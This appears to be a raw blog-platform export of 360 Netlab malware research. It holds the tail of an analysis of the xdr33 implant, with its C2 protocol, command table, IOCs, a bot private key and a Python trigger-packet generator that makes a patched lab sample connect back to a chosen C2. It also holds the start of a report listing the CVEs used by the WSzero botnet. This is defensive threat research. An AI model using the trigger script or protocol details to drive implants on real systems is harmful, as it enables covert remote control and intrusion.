45.9.150.144:443``` 查看C2的证书。Bot,C2的证书都伪装成与kaspersky有关,通过这种方式降低网络流量的可疑性。\n \n <a href=\"__GHOST_URL__/content/images/2022/12/hive_c2cert.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_c2cert.png\" class=\"kg-image\"/></a>\n \n CA证书如下所示,从3个证书的有效期来看,我们推测此次活动的开始时间在2022.10.7之后。\n <a href=\"__GHOST_URL__/content/images/2022/12/hive_ca.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_ca.png\" class=\"kg-image\"/></a>\n\n\n### Step2: 获取XTEA密钥\n\n Bot和C2建立SSL通信之后,Bot通过以下代码片段向C2请求XTEA密钥。\n <a href=\"__GHOST_URL__/content/images/2023/01/hive_teakey.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_teakey.png\" class=\"kg-image\"/></a>\n\n它的处理逻辑为:\n\n1. Bot向C2发送64字节数据,格式为\"设备信息长度字串的长度(xor 5) + 设备信息长度字串(xor 5) + 随机数据\"\n2. Bot从C2接收32字节数据,从中得到16字节的XTEA KEY,获取KEY的等效的python代码如下所示:\n\n\n ```\n XOR_KEY=5\n def get_key(rand_bytes):\n \toffset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15\n \treturn rand_bytes[(offset+1):(offset+17)]\n ```\n\n \n\n### Step3: 向C2上报XTEA加密的设备信息\n\nBot使用Step2获得的XTEA KEY 对设备信息进行加密,并上报给C2。由于设备信息较多,一般需要分块发送,Bot一次最多发送4052字节,而C2则会回复已接受的字节数。\n <a href=\"__GHOST_URL__/content/images/2023/01/hive_teadevice.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_teadevice.png\" class=\"kg-image\"/></a>\n\n另外值得一提的是,XTEA加密只在Step3中使用,后续的Step4中网络流量仅仅使用SSL协商好的加密加密套件,不再使用XTEA。\n\n\n### Step4: 等待执行指令(xdr33新增功能)\n\n当设备信息上报完毕后,C2向Bot发送8字节的本周期任务次数N,若N等于0就休眠一定时间,进入下一个周期的Beacon Task;反之就下发264字节的任务。Bot接收到任务后,对其进行解析,并执行相应的指令。\n <a href=\"__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_beaconwaitcmd.png\" class=\"kg-image\"/></a>\n\n 支持的指令如下表所示:\n\n | Index | Function |\n | ----- | ------------------------------------------------- |\n | 0x01 | Download File |\n | 0x02 | Execute CMD with fake name \"[kworker/3:1-events]\" |\n | 0x03 | Update |\n | 0x04 | Upload File |\n | 0x05 | Delete |\n | 0x08 | Launch Shell |\n | 0x09 | Socket5 Proxy |\n | 0x0b | Update BEACONINFO |\n \n \n## 网络流量示例\n\n### 实际中xdr33产生的step2流量\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_packet.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_packet.png\" class=\"kg-image\"/></a>\n\n### step3中的交互,以及step4的流量\n<a href=\"__GHOST_URL__/content/images/2023/01/hive_packetB.png\"><img src=\"__GHOST_URL__/content/images/2023/01/hive_packetB.png\" class=\"kg-image\"/></a>\n\n\n### 我们从中能得到什么信息呢?\n\n1. 设备信息长度字串的长度,0x1 ^ 0x5 = 0x4\n\n2. 设备信息长度,0x31,0x32,0x37,0x35 分别 xor 5得到 4720\n\n3. tea key ```2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A```\n\n4. C2会确认BOT上报的设备信息长度,4052+668 = 4720,和第2点是能对应上的\n\n5. 本周期任务数```00 00 00 00 00 00 00 00```,即无任务,所以不会下发264字节的具体任务\n\n关于加密的设备信息,可以通过以下代码进行解密,以解密前8字节```65 d8 b1 f9 b8 37 37 eb```为例,解密后的数据为```00 22 00 14 42 5A 68 39```,包含了``beacon_header_version + os+ bzip magic``,和前面的分析能够一一对应。\n\n```\nimport hexdump\nimport struct\n\ndef xtea_decrypt(key,block,n=32,endian=\"!\"):\n v0,v1 = struct.unpack(endian+\"2L\", block)\n k = struct.unpack(endian+\"4L\",key)\n delta,mask = 0x9e3779b9,0xffffffff\n sum = (delta * n) & mask\n for round in range(n):\n v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask\n sum = (sum - delta) & mask\n v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask\n return struct.pack(endian+\"2L\",v0,v1)\n\ndef decrypt_data(key,data):\n size = len(data)\n i = 0\n ptext = b''\n while i < size:\n if size - i >= 8:\n ptext += xtea_decrypt(key,data[i:i+8])\n i += 8\n return ptext\nkey=bytes.fromhex(\"\"\"\n2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A\n\"\"\")\nenc_buf=bytes.fromhex(\"\"\"\n65 d8 b1 f9 b8 37 37 eb\n\"\"\")\n\nhexdump.hexdump(decrypt_data(key,enc_buf))\n```\n# Trigger Task\n\nTrigger主要功能是监听所有流量,等待特定格式的Triggger IP报文,当报文以及隐藏在报文中的Trigger Payload通过层层校验之后,Bot就和Trigger Payload中的C2建立通信,等待执行下发的指令。\n\n\n\n## 0x1: 监听流量\n\n使用函数调用**socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) )**,设定RAW SOCKET捕获IP报文,再通过以下代码片段对IP报文处理,可以看出Tirgger支持TCP,UDP,报文Payload最大长度为472字节。这种流量嗅探的实现方式会加大CPU的负载,事实上在socket上使用BPF-Filter效果会更好。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_snfpkt.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_snfpkt.png\" class=\"kg-image\"/></a>\n\n\n\n## 0x2: 校验Trigger报文\n\n符合长度要求的TCP,UDP报文使用相同的处理函数check_payload进行进一步校验,\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_handxref.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_handxref.png\" class=\"kg-image\"/></a>\n\n**check_payload**的代码如下所示:\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_checkpayload.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_checkpayload.png\" class=\"kg-image\"/></a>\n\n可以看出它的处理逻辑:\n\n1. 使用CRC16/CCITT-FALSE算法计算报文中偏移8到92的CRC16值,得到crcValue\n\n2. 通过crcValue % 200+ 92得到crcValue在在报文中的偏移值,crcOffset\n\n3. 校验报文中crcOffset处的数据是否等于crcValue,若相等进入下一步\n\n4. 校验报文中crcOffset+2处的数据是否是127的整数倍,若是,进入下一步\n\n5. Trigger_Payload是加密的,起始位置为crcOffset+12,长度为29字节。Xor_Key的起始位置是crcValue%55+8,将2者逐字节XOR,就得到了Trigger_Paylaod\n\n\n至此可以确定**Trigger报文格式**是这样的:\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerpkt-1.png\" class=\"kg-image\"/></a>\n\n## 0x3: 校验 Trigger Payload\n\n如果Trigger报文通过校验,则通过check_trigger函数继续对Trigger Payload进行校验\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerfinal.png\" class=\"kg-image\"/></a>\n\n可以看出它的处理逻辑:\n\n1. 取出Trigger Payload最后2字节,记作crcRaw\n2. 将Trigger Payload最后2字节置0,计算其CRC16,记作crcCalc\n3. 比较crcRaw,crcCalc,若相等,说明Trigger Payload在结构上是有效的\n\n接着计算过Trigger Payload中的key的SHA1,和Bot中硬编码的SHA1 **46a3c308401e03d3195c753caa14ef34a3806593**进行比对。如果相等,说明Trigger Payload在内容是也是有效的,可以进入到最后一步,和Trigger Payload中的C2建立通信,等待执行其下发的指令。\n\n至此可以确定**Trigger Payload**的格式是这样的:\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggerfmt-1.png\" class=\"kg-image\"/></a>\n\n## 0x4: 执行Trigger C2的指令\n\n当一个Trigger报文通过层层校验之后,Bot就主动和Trigger Payload中指定的C2进行通信,等待执行C2下发指令。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_triggercmd.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_triggercmd.png\" class=\"kg-image\"/></a>\n\n支持的指令如下表所示:\n\n| Index | Function |\n| ---------- | ------------- |\n| 0x00,0x00a | Exit |\n| 0x01 | Download File |\n| 0x02 | Execute CMD |\n| 0x04 | Upload File |\n| 0x05 | Delete |\n| 0x06 | Shutdown |\n| 0x08 | Launch SHELL |\n| 0x09 | SOCKET5 PROXY |\n| 0x0b | Update BEACONINFO |\n\n值得一提的是,Trigger C2与Beacon C2在通信的细节上有所不同。Bot与Trigger C2在建立SSL隧道之后,会使用Diffie-Helllman密钥交换以建立共享密钥,这把钥匙用于AES算法创建第二层加密。\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_aes.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_aes.png\" class=\"kg-image\"/></a>\n\n# 实验\n\n为了验证Trigger部分逆向分析的正确性,我们对xdr33的SHA1值进行了Patch,填入了**NetlabPatched,Enjoy!** 的SHA1,并实现了附录的GenTrigger代码,用以产生UDP类型Trigger 报文。\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_patchbylab.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_patchbylab.png\" class=\"kg-image\"/></a>\n\n我们在虚拟机**192.168.159.133**运行Patch后的xdr33样本,构造C2为**192.168.159.128:6666**的Trigger Payload,并以UDP的方式发送给192.168.159.133。最终效果如下,可以看到xdr33所在的implanted host在收到UDP Trigger报文后,和我们预想中的一样,向预设的Trigger C2发起了通信请求,Cool!\n\n<a href=\"__GHOST_URL__/content/images/2022/12/hive_vmware.png\"><img src=\"__GHOST_URL__/content/images/2022/12/hive_vmware.png\" class=\"kg-image\"/></a>\n\n\n\n\n\n# 联系我们\n至此xdr33的分析告一段落,这是我们目前掌握的关于这个魔改攻击套件的情况。如果社区有更多线索,以及感兴趣的读者,可以在 [twitter](https://twitter.com/360Netlab) 或者通过邮件netlab[at]360.cn联系我们。\n# IOC\n## sample\n```\nee07a74d12c0bb3594965b51d0e45b6f\n\npatched sample\n\naf5d2dfcafbb23666129600f982ecb87\n```\n\n## C2\n```\n45.9.150.144:443\n```\n\n## BOT Private Key\n```\n-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA6XthqPjU3XFu8/4PMVQ4iqJbleXmXhbVWMPhY/sTndEcO5vQ\nmIMNJc1mISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLiqb/ewylFmqSOVkviG/Je\no17UAqhsNGpVu/l8FM3qCHJE7z+wBqHdwVIZMt9vLaLti2KyJV+j1F1GTk8X2jcI\n4DnnVKJE81rSafzaX2JBc6J6hovFMMP9IGb2LwRQMZNtZqSus6JMolhkO0dtvxXK\nyTm1k79HL3PlZdgKt6HJFoukwkWND8NNTbcBXDWWDdJ42g/1I0Z7tMkdKFgfjUut\n90LXKRRuENcUrbi75L6P2FRwPnqvVv+3N25MZQIDAQABAoIBADtguG57kc8bWQdO\nNljqPVLshXQyuop1Lh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qCG\naRNWigsohSeMnB5lgGaLqXrxnI1P0RogYncT18ExSgtue41Jnoe/8mPhg6yAuuiE\n49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqqXbDEBSoKL0o60/FyPb0RKigprKooTo/\nKVCRFDT6xpAGMnjZkSSBJB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwaLvk4ZeBtf\n0hnb6Cty840juAIGKDiUELijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk\nIto7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLua+IrIEp26IHgGaMKFA0hnGEGvb\nZmwkrFj57bGSwsWq7ZSBk8yHRP3HSjJLZZQIcnnTCQxHMXa+YvpuEKE5mQSMwnlu\nYH9S2S0xQPi1yLQKjAVVt+zRuuJvMv0dOZAOfdib+3xesPv2fIBu0McCgYEA8D4/\nzygeF5k4Omh0l235e08lkqLtqVLu23vJ0TVnP2LNh4rRu6viBuRW7O9tsFLng8L8\naIohdVdF/E2FnNBhnvoohs8+IeFXlD8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI\nhQthoAw9urezc2CLy0da7H9Jmeg26utwZJB4ZXMCgYEAyV9b/rPoeWxuCd+Ln3Wd\n+O6Y5i5jVQfLlo1zZP4dBCFwqt2rn5z9H0CGymzWFhq1VCrT96pM2wkfr6rNBHQC\n7LvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhodlMYJ9P5+W1T/SOUefRO1vFi\nFzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj\nGe17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet\nKV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf\n7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD\npoCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+\n7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID\n-----END RSA PRIVATE KEY-----\n\n```\n## BOT Certificate\n```\n-----BEGIN CERTIFICATE-----\nMIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\nMB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV\nMR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l\nZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM\nBk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\nAoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh\nJlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0\nalW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz\nWtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv\nc+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q\n1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA\nMB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz\nBcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV\nBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU\naGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2\naWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB\nMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G\nA1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B\nAQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy\nqend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P\no6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c\nd707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3\nngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI\nlHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==\n-----END CERTIFICATE-----\n\n```\n\n## CA Certificate\n```\n-----BEGIN CERTIFICATE-----\nMIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx\nFTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD\nVQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv\nbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy\ndmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t\nMB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB\nMRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG\nA1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp\nb24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl\ncnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv\nbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr\n3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg\n3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d\nhbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV\nAV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf\ntLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC\nJzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb\n8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0\n/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl\nMRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n\nIGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw\nHwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW\nGXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G\nCSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF\ntLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6\nu4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw\nLCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//\nkzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm\nyRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX\n-----END CERTIFICATE-----\n\n```\n\n\n# 附录\n##0x1 Decode_RES\n\n```\nimport idautils\nimport ida_bytes\n\ndef decode(addr,len):\n tmp=bytearray()\n \n buf=ida_bytes.get_bytes(addr,len)\n for i in buf:\n tmp.append(~i&0xff)\n\n print(\"%x, %s\" %(addr,bytes(tmp)))\n ida_bytes.put_bytes(addr,bytes(tmp))\n idc.create_strlit(addr,addr+len)\n \ncalllist=idautils.CodeRefsTo(0x0804F1D8,1)\nfor addr in calllist:\n prev1Head=idc.prev_head(addr)\n if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:\n bufaddr=idc.get_operand_value(prev1Head,0)\n prev2Head=idc.prev_head(prev1Head)\n \n if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:\n leng=idc.get_operand_value(prev2Head,0)\n decode(bufaddr,leng)\n\n```\n\n## 0x02 GenTrigger\n\n```\nimport random\nimport socket\n\n\ndef crc16(data: bytearray, offset, length):\n if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):\n return 0\n crc = 0xFFFF\n for i in range(0, length):\n crc ^= data[offset + i] << 8\n for j in range(0, 8):\n if (crc & 0x8000) > 0:\n crc = (crc << 1) ^ 0x1021\n else:\n crc = crc << 1\n return crc & 0xFFFF\n\ndef Gen_payload(ip:str,port:int):\n out=bytearray()\n part1=random.randbytes(92)\n sum=crc16(part1,8,84)\n \n offset1=sum % 0xc8\n offset2=sum % 0x37\n padding1=random.randbytes(offset1)\n padding2=random.randbytes(8)\n \n \n host=socket.inet_aton(ip)\n C2=bytearray(b'\\x01')\n C2+=host\n C2+=int.to_bytes(port,2,byteorder=\"big\")\n key=b'NetlabPatched,Enjoy!'\n C2 = C2+key +b'\\x00\\x00'\n c2sum=crc16(C2,0,29)\n C2=C2[:-2]\n C2+=(int.to_bytes(c2sum,2,byteorder=\"big\"))\n\n flag=0x7f*10\n out+=part1\n out+=padding1\n out+=(int.to_bytes(sum,2,byteorder=\"big\"))\n out+=(int.to_bytes(flag,2,byteorder=\"big\"))\n out+=padding2\n\n tmp=bytearray()\n for i in range(29):\n tmp.append(C2[i] ^ out[offset2+8+i])\n out+=tmp\n\n leng=472-len(out)\n lengpadding=random.randbytes(random.randint(0,leng+1))\n out+=lengpadding\n\n return out\n \npayload=Gen_payload('192.168.159.128',6666)\nsock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\nsock.sendto(payload,(\"192.168.159.133\",2345)) # 任意端口\n\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 637dc7a7e3e3c900072edb93 |
post | null | 2022-11-24T09:11:46.000Z | 63873b9a8b1c1e0007f53029 | new-ddos-botnet-wszeor | 0 | 2022-12-07T13:34:04.000Z | public | published | null | 2022-12-07T12:58:21.000Z | 快讯:使用21个漏洞传播的DDoS家族WSzero已经发展到第4个版本 | <!--kg-card-begin: markdown--><h2 id="">概述</h2>
<p>近期,我们的BotMon系统连续捕获到一个由Go编写的DDoS类型的僵尸网络家族,它用于DDoS攻击,使用了包括SSH/Telnet弱口令在内的多达22种传播方式。短时间内出现了4个不同的版本,有鉴于此,我们觉得该家族未来很可能继续活跃,值得警惕。下面从传播、样本和跟踪角度分别介绍。</p>
<h2 id="">传播分析</h2>
<p>除了Telnet/SSH弱口令,我们观察到wszero还使用了如下<code>21</code>个漏洞进行传播:</p>
<table>
<thead>
<tr>
<th>VULNERABILITY</th>
<th>AFFECTED</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2014-8361">CVE_2014_08361</a></td>
<td>Realtek SDK</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2017-17106">CVE_2017_17106</a></td>
<td>Zivif Webcams</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/cve-2017-17215">CVE_2017_17215</a></td>
<td>Huawei HG532</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2018-12613">CVE_2018_12613</a></td>
<td>phpMyAdmin 4.8.x before 4.8.2</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-10987">CVE_2020_10987</a></td>
<td>Tenda AC15 AC1900</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25506">CVE_2020_25506</a></td>
<td>D-Link DNS-320 FW v2.06B01 Revision Ax</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-35395">CVE_2021_35395</a></td>
<td>Realtek Jungle SDK</td>
</tr>
<tr>
<td><a href="https://packetstormsecurity.com/files/164603/hikvision210702-exec.txt">CVE_2021_36260</a></td>
<td>Hikvision DVR</td>
</tr>
<tr>
<td><a href="https://packetstormsecurity.com/files/167201/SDT-CW3B1-1.1.0-Command-Injection.html">CVE_2021_46422</a></td>
<td>Telesquare SDT CW3B1</td>
</tr>
<tr>
<td><a href="https://www.itechpost.com/articles/110537/20220509/f5-big-ip-trouble-cve-2022-1388-vulnerability-%E2%80%94-patch.htm">CVE_2022_01388</a></td>
<td>F5 BIG-IP</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/cve-2022-22965">CVE_2022_22965</a></td>
<td>Spring</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/cve-2022-25075">CVE_2022_25075</a></td>
<td>TOTOLINK A3000RU</td>
</tr>
<tr>
<td><a href="https://doudoudedi.github.io/2022/02/21/TOTOLINK-N600R-Command-Injection/">CVE_2022_26186</a></td>
<td>TOTOLINK N600R</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-26210">CVE_2022_26210</a></td>
<td>TOTOLINK A830R</td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/">CVE_2022_30525</a></td>
<td>Zyxel Firewall</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-34538">CVE_2022_34538</a></td>
<td>Digital Watchdog DW MEGApix IP cameras</td>
</tr>
<tr>
<td><a href="https://packetstormsecurity.com/files/cve/CVE-2022-37061">CVE_2022_37061</a></td>
<td>FLIR AX8 thermal sensor cameras</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/44760">DLINK</a></td>
<td>D-Link DSL-2750B</td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/cve-2018-10561">CVE-2018-10561</a></td>
<td>Dasan GPON home router</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/47031">SAPIDO RB-1732 command line execution</a></td>
<td>SAPIDO RB-1732</td>
</tr>
<tr>
<td><a href="https://packetstormsecurity.com/files/162749/PHP-8.1.0-dev-Backdoor-Remote-Command-Injection.html">PHP Backdoor</a></td>
<td>PHP 8.1.0 dev Backdoor</td>
</tr>
</tbody>
</table>
<h2 id="">样本分析</h2>
<p>简单来说,wszero是一个Go语言编写的DDoS类型的僵尸网络家族,它被命名为wszero的原因是它的下载链接中的文件名多为<code>zero.*</code>这种形式,并且最新版本C2协议基于<code>websocket</code>,所以将其缩写为<code>wszero</code>。基于样本的C2协议、主机行为和C2加密等方面特征,我们把已经捕获的wszero分为4个大的版本,其捕获的时间线如下:</p>
<ul>
<li>2022年11月18日,首次捕获到wszero v1</li>
<li>2022年11月21日,捕获到V2样本</li>
<li>2022年11月24日,捕获到V3样本</li>
<li>2022年11月26日,捕获到V3.x样本</li>
<li>2022年11月29日,捕获到V4样本</li>
</ul>
<p>下面是这4个版本一些具体特性的对比:</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>C2</th>
<th>Decryption</th>
<th>Exploit</th>
<th>Tel/SSH Crack</th>
<th>Protocol</th>
<th>Platform</th>
<th>Persistence</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>v1</td>
<td>176.65.137.5:1401</td>
<td>SUB1</td>
<td>0</td>
<td>No</td>
<td>TCP</td>
<td>Linux</td>
<td>YES</td>
<td>print,attack,command</td>
</tr>
<tr>
<td>v2</td>
<td>176.65.137.5:80</td>
<td>NO</td>
<td>0</td>
<td>No</td>
<td>WS</td>
<td>Linux</td>
<td>YES</td>
<td>print,attack,command</td>
</tr>
<tr>
<td>v3</td>
<td>zero.sudolite.ml</td>
<td>SUB 1</td>
<td>0</td>
<td>No</td>
<td>WSS</td>
<td>Linux</td>
<td>YES</td>
<td>print,attack,command</td>
</tr>
<tr>
<td>v3.x</td>
<td>zero.sudolite.ml</td>
<td>SUB1</td>
<td>21</td>
<td>YES</td>
<td>WSS</td>
<td>Linux/Windows</td>
<td>YES</td>
